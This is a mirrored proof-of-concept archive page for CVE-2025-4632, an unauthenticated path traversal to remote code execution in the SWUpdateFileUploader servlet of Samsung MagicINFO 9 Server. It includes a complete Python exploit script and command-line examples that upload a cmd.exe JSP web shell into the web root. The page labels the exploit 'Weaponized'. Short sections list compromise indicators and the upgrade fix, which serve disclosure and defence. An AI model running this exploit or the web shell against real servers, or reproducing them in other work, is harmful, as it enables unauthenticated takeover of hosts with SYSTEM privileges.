PoC Archive PoC Archive
Critical CVE-2025-4632 unpatched

Samsung MagicINFO 9 Server Unauthenticated Path Traversal to RCE (CVE-2025-4632)

by digitalsurgn (script author); original discovery/template by s4e-io (ProjectDiscovery Nuclei community) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-4632
Category
web
Affected product
Samsung MagicINFO 9 Server (digital signage content management server), SWUpdateFileUploader servlet
Affected versions
Prior to 21.1052
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherdigitalsurgn (script author); original discovery/template by s4e-io (ProjectDiscovery Nuclei community)
CVE / AdvisoryCVE-2025-4632
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagssamsung, magicinfo, path-traversal, arbitrary-file-upload, unauthenticated-rce, jsp-webshell, cwe-22, cwe-434, python
RelatedN/A

Affected Target

FieldValue
Software / SystemSamsung MagicINFO 9 Server (digital signage content management server), SWUpdateFileUploader servlet
Versions AffectedPrior to 21.1052
Language / PlatformPython 3 (exploit); Java/JSP servlet (target, runs with SYSTEM authority on Windows)
Authentication RequiredNo
Network Access RequiredYes

Summary

Samsung MagicINFO 9 Server’s SWUpdateFileUploader servlet, which handles firmware/content update uploads from signage devices, fails to properly sanitize the fileName parameter, allowing directory traversal sequences (../../) to break out of the intended upload directory. An unauthenticated attacker can supply a crafted fileName to write an arbitrary file — including a .jsp web shell — directly into the web root, which the server then executes with SYSTEM privileges upon request. The included PoC (exploit_magicinfo.py) automates a two-step attack: it POSTs the traversal payload with attacker-controlled content to the vulnerable servlet, then GETs the resulting file path to confirm the write/execution succeeded. The README also documents several JSP payload variants (plain confirmation page, plain cmd.exe shell, reflection-obfuscated shell, and Base64-wrapped shell for WAF/URI-filter evasion), demonstrating full unauthenticated remote code execution.


Vulnerability Details

Root Cause

The SWUpdateFileUploader servlet accepts a fileName parameter (along with deviceType, deviceModelName, swVer) describing where to store an uploaded device update package, but does not validate or canonicalize the path before writing the file, allowing ../ traversal to escape the intended upload directory (an instance of CWE-22, which then enables CWE-434 arbitrary file write/execution since the write lands inside the web-served /MagicInfo/ root). The exploit builds the traversal path as:

1
2
3
4
5
6
7
8
traversal_path = f"./../../../../../../server/{filename}"
params = {
    'fileName': traversal_path,
    'deviceType': device_type,
    'deviceModelName': device_model,
    'swVer': sw_ver
}
response = requests.post(upload_url, params=params, headers=headers, data=data, verify=False, timeout=15)

Because the servlet does not require authentication and does not restrict the written file’s extension or destination, a .jsp file placed in the web root is later served and executed by the application server as code.

Attack Vector

  1. Attacker crafts a POST request to /MagicInfo/servlet/SWUpdateFileUploader with a fileName query parameter containing multiple ../ traversal sequences (e.g. ./../../../../../../server/shell.jsp) plus randomized deviceType/deviceModelName/swVer values to mimic a legitimate device update check-in, and a request body containing the JSP payload.
  2. The servlet writes the POST body content to the traversed path, effectively placing the attacker’s file at /MagicInfo/<filename> in the web root instead of the intended internal update-storage directory.
  3. The attacker (or the PoC script automatically) issues a GET request to /MagicInfo/<filename> to confirm the file was written and, for .jsp files, that it executes.
  4. If a web-shell JSP was uploaded, subsequent GET requests with a c (command) parameter are executed via Runtime.getRuntime().exec() (or an obfuscated Reflection-based equivalent, or Base64-encoded command to bypass URL/WAF filtering), returning command output in the HTTP response.

Impact

Full unauthenticated remote code execution with SYSTEM privileges on the MagicINFO server host, since the vulnerable servlet runs with elevated permissions and the written JSP file is directly reachable and executable via HTTP.


Environment / Lab Setup

Target:   Samsung MagicINFO 9 Server < 21.1052, servlet endpoint reachable at http://<target>:7001/MagicInfo/servlet/SWUpdateFileUploader
Attacker: Python 3, `pip install requests`

Proof of Concept

PoC Script

See exploit_magicinfo.py in this folder.

1
2
3
4
5
6
7
python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>

python exploit_magicinfo.py -t http://TARGET:7001 -f poc.jsp \
  -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
python exploit_magicinfo.py -t http://TARGET:7001 -f cmd.jsp \
  -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
python exploit_magicinfo.py -t http://TARGET:7001 -f b64.jsp -d '<base64-decoding JSP payload, see README in repo>'

Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected .jsp files (e.g. shell.jsp, cmd.jsp, b64.jsp) in /MagicInfo/ web-accessible directories
  • SWUpdateFileUploader POST requests from IPs that are not registered signage devices
  • cmd.exe /c process spawns originating from the MagicINFO service account/SYSTEM context correlated with HTTP requests

Remediation

ActionDetail
Primary fixUpgrade Samsung MagicINFO 9 Server to version 21.1052 or later, which addresses the path traversal in SWUpdateFileUploader
Interim mitigationRestrict network access to the MagicINFO management interface/servlet endpoints to trusted device/management networks only, and monitor/alert on file writes with traversal sequences in upload parameters

References


Notes

Mirrored from https://github.com/digitalsurgn/CVE-2025-4632_POC on 2026-07-06. exploit_magicinfo.py implements path-traversal file upload against MagicInfo’s SWUpdateFileUploader servlet, matching the claimed RCE vector; the script is a direct programmatic implementation of the logic in the public ProjectDiscovery Nuclei template for this CVE.

exploit_magicinfo.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning

# Suppress insecure request warnings for self-signed certs
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def generate_random_string(length=6):
    return ''.join(random.choices(string.ascii_letters, k=length))

def exploit(target, filename, data):
    """
    Replicates CVE-2025-4632 Path Traversal File Upload
    """
    # Clean target URL
    target = target.rstrip('/')
    upload_url = f"{target}/MagicInfo/servlet/SWUpdateFileUploader"
    
    # Generate required variables
    device_type = generate_random_string()
    device_model = generate_random_string()
    sw_ver = random.randint(100, 999)
    
    # Construct the traversal path
    # The template suggests 6 levels of traversal to reach the server root
    # Adjust the extension or prefix if needed
    traversal_path = f"./../../../../../../server/{filename}"
    
    params = {
        'fileName': traversal_path,
        'deviceType': device_type,
        'deviceModelName': device_model,
        'swVer': sw_ver
    }
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) CVE-2025-4632 Replication',
        'Content-Type': 'text/plain'
    }

    print(f"[*] Targeting: {target}")
    print(f"[*] Attempting to upload: {filename}")
    
    try:
        # Step 1: Upload the file
        response = requests.post(
            upload_url, 
            params=params, 
            headers=headers, 
            data=data, 
            verify=False, 
            timeout=15
        )
        
        if response.status_code == 200:
            print("[+] Upload request sent successfully (HTTP 200).")
            
            # Step 2: Verify the file exists
            verify_url = f"{target}/MagicInfo/{filename}"
            print(f"[*] Verifying at: {verify_url}")
            
            verify_res = requests.get(verify_url, verify=False, timeout=10)
            if verify_res.status_code == 200:
                # If we are checking for JSP execution, the raw data won't be in the response
                if filename.endswith('.jsp'):
                    print(f"[!] SUCCESS: File accessible at {verify_url} (HTTP 200)")
                    print(f"[*] Server Response Snapshot: {verify_res.text[:100].strip()}...")
                elif data in verify_res.text:
                    print(f"[!] SUCCESS: File accessible at {verify_url} and content verified.")
                else:
                    print(f"[?] File accessible (HTTP 200), but raw content not found. This is expected if the server evaluated the file (e.g., JSP/PHP).")
                    print(f"[*] Server Response Snapshot: {verify_res.text[:100].strip()}...")
            else:
                print("[-] Verification failed. Status Code:", verify_res.status_code)
                print("[-] The file might not have been written to the web root or the path is different.")
        else:
            print(f"[-] Upload failed. Status Code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Connection error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-4632 Samsung MagicINFO Exploit Replication")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://192.168.29.105:7001)")
    parser.add_argument("-f", "--filename", default="shell.html", help="Filename to create (e.g., exploit.html)")
    parser.add_argument("-d", "--data", default="<h1>Exploited</h1>", help="Content of the file")

    args = parser.parse_args()
    
    exploit(args.target, args.filename, args.data)